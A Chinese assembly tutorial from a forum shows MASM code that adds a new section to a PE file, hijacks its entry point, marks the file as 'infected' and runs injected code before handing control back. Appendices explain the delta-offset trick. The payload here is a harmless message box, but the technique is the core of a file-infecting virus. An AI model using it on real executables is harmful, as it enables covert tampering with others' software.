首页  编辑  

为PE文件添加新节实例及说明

Tags: /超级猛料/Format.格式,单位/File.文件格式/   Date Created:
主  题:为PE文件添加新节实例及说明
作  者:AwakeinAlone
所属论坛:ASM
希望能对PE和ASM的出学者有所帮助,吾愿足矣!
.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
.data
filename db "d:\t.exe",0                  ;为了简单,避免了不必要的文件选择对话框
hFile dd 0
hMapping dd 0
pMapping dd 0
pe_header_off  dd 0                      ;存储文件头相对文件的偏移量
byte_write dd 0                                ;WriteFile时使用,没有实际用途,为了程序正确
PEGame segment
start:
push NULL
push FILE_ATTRIBUTE_NORMAL
push OPEN_EXISTING
push NULL
push FILE_SHARE_READ+FILE_SHARE_WRITE
push GENERIC_READ+GENERIC_WRITE
push offset filename
call CreateFile
mov hFile, eax
push 0
push 0
push 0
push PAGE_READWRITE
push NULL
push hFile
call CreateFileMapping
mov hMapping, eax
push 0
push 0
push 0
push FILE_MAP_READ+FILE_MAP_WRITE
push hMapping
call MapViewOfFile
mov pMapping,eax
mov ebx, eax
assume ebx :ptr IMAGE_DOS_HEADER
mov eax,[ebx].e_lfanew
mov pe_header_off,eax
add ebx,[ebx].e_lfanew                                            ;此时ebx指向PE文件头
assume ebx:ptr IMAGE_NT_HEADERS
.IF  [ebx].Signature!=IMAGE_NT_SIGNATURE    ;是PE文件吗?
jmp Exit
.ENDIF
.IF word ptr [ebx+1ah]==0842h                                ;是否已经感染  
jmp Exit
.ENDIF
Noinfect:                                                                    ;保存原入口
mov eax,[ebx]. OptionalHeader.AddressOfEntryPoint
mov old_in,eax
mov eax, [ebx].OptionalHeader.ImageBase
mov old_base,eax
 
;***************************************************************
;判断是否有足够空间存储新节
;28h=sizeof IMAGE_SECTION_HEADER ,18h=sizeof IMAGE_FILE_HEADER
;edi将指向新节
;***************************************************************
movzx eax,[ebx].FileHeader.NumberOfSections
mov ecx,28h
mul ecx
add eax,pe_header_off
add eax,18h                        
movzx esi,[ebx].FileHeader.SizeOfOptionalHeader
add eax,esi
mov edi,eax
add edi,pMapping              ;I forgot this first
add eax,28h
.IF  eax>[ebx].OptionalHeader.SizeOfHeaders
jmp  Exit
.ENDIF
;*********************************************************************
;空间允许, ^0^,开始插入新节并填充各字段
;esi指向原文件最后一个节,利用它来填充新节某些字段
;*********************************************************************
inc [ebx].FileHeader.NumberOfSections                            ;节数目+1
mov esi,edi
sub esi,28h
assume edi:ptr IMAGE_SECTION_HEADER
assume esi:ptr IMAGE_SECTION_HEADER
mov [edi].Name1,41h                                                            ;随便为新节命名,使之不等于0
push [ebx].OptionalHeader.SizeOfImage
pop  [edi].VirtualAddress
mov eax,offset vend-offset vstart
mov [edi].Misc.VirtualSize,eax
mov ecx,[ebx].OptionalHeader.FileAlignment
div ecx
inc eax
mul ecx
mov [edi].SizeOfRawData,eax
mov eax,[esi].PointerToRawData
add eax,[esi].SizeOfRawData
mov [edi].PointerToRawData,eax
mov [edi].Characteristics,0E0000020h  ;可读可写可执行
;*****************************************************************************************
;更新SizeOfImage,AddressOfEntryPoint,使新节可以正确加载并首先执行
;*****************************************************************************************
mov eax,[edi].Misc.VirtualSize
mov ecx,[ebx].OptionalHeader.SectionAlignment
div ecx
inc eax
mul ecx
add eax,[ebx].OptionalHeader.SizeOfImage
mov [ebx].OptionalHeader.SizeOfImage,eax
mov eax,[edi].VirtualAddress
mov [ebx].OptionalHeader.AddressOfEntryPoint,eax
mov word ptr [ebx+1ah],0842h  ;写入感染标志
push FILE_END
push 0
push 0
push hFile
call SetFilePointer
;*************************************************************************************
;设置文件指针到结尾后,写入从vstart开始的代码,大小经过文件对齐
;**************************************************************************************
push 0
push offset byte_write
push [edi].SizeOfRawData
push offset vstart
push hFile
call WriteFile
Exit:
push pMapping
call UnmapViewOfFile
push hMapping
call CloseHandle
invoke ExitProcess,0
;***************************************************************
;从vstart->vend是将插入到d:\t.exe的代码
;功能是弹出一个对话框,然后返回原入口执行
;***************************************************************
vstart:
call nstart
nstart:
pop ebx
sub ebx,offset nstart                                  ;见附录一的详细说明
mov MsgBoxAddr[ebx],77e175d5h        ;liner addr of MessageBoxA in User32.dll
push MB_OK
mov eax,ebx
add eax,offset s
push eax
push eax
push 0
call MsgBoxAddr[ebx]
mov eax,old_base[ebx]
add eax,old_in[ebx]
push eax
ret
s db 'fid',0
MsgBoxAddr dd 0
old_base dd 0
old_in dd 0
vend:
PEGame ends
end start    
附录一:得到MessageBoxA的线形地址代码
#include "windows.h"
#include "iostream.h"
int main(int argc, char* argv[])
{
     HINSTANCE h;
     char dllname[] ="User32";
     h = GetModuleHandle(dllname);
     if(h == NULL)
     {
       h = LoadLibrary(dllname);
     }
     DWORD p=(DWORD)::GetProcAddress(h,"MessageBoxA");
     cout<<"Addr of MessageBoxA:  "<<hex<<p<<endl;
}
附录二(摘自peach的"麻雀空间"):
call nstart                此时栈顶是下一指令地址,即nstart在cs段中的偏移
nstart:
pop ebp                ebp = nstart处在cs段中的偏移
sub ebp,offset nstart      ebp 不一定和 offset nstart相等
之所以使用这样的指令,主要是为了在代码执行的时候进行内存的实际定位
插入的代码在汇编的时候代码段和数据段是确定的,总是从某段址的偏移0开始
但是,插入后别人的代码空间的时候,就不是从偏移0开始了
 
举个例子
我写一个代码和数据共享的小段汇编如下如下
 
_text  segments
       assume cs:_text, ds:_text
start:
       jmp    begin
       data1  db      0
       data2  db      0
begin:
       mov    al, data1
       mov    bl, data2
       add    al, bl
       mov    ax, 4c00h
       int    20h
_text  ends
       end    start
 
此代码段中,使用的cs和ds的值都保证了实际start处的偏移为0
但是一旦被复制到其他的cs, ds段,一般不能保证start处偏移在cs或ds段中偏移为0
这时候显然
mov  al, data1
mov  bl, data2
会出问题
怎么办呢?
 
可以写成这样子
 
_text  segments
       assume cs:_text, ds:_text
start:
       call    next
next:
       pop    si                            此处si等于next处在当前cs段中的实际偏移
       sub    si, offset next        实际偏移减去汇编中的offset得到的
                                                 就是start处的的实际偏移
                                                 因为offset 操作符总是以0为基址的
                                               offset start = 0
       data1  db      0
       data2  db      0
begin:
       mov    al, data1[si]      这里寻址的时候使用的就 offset data1 + si了
       mov    bl, data2[si]
       add    al, bl
       mov    ax, 4c00h
       int    20h
_text  ends
       end    start
没啥特别的 ,仔细想一下就明白了 。        
                                                                                 --------《全文完》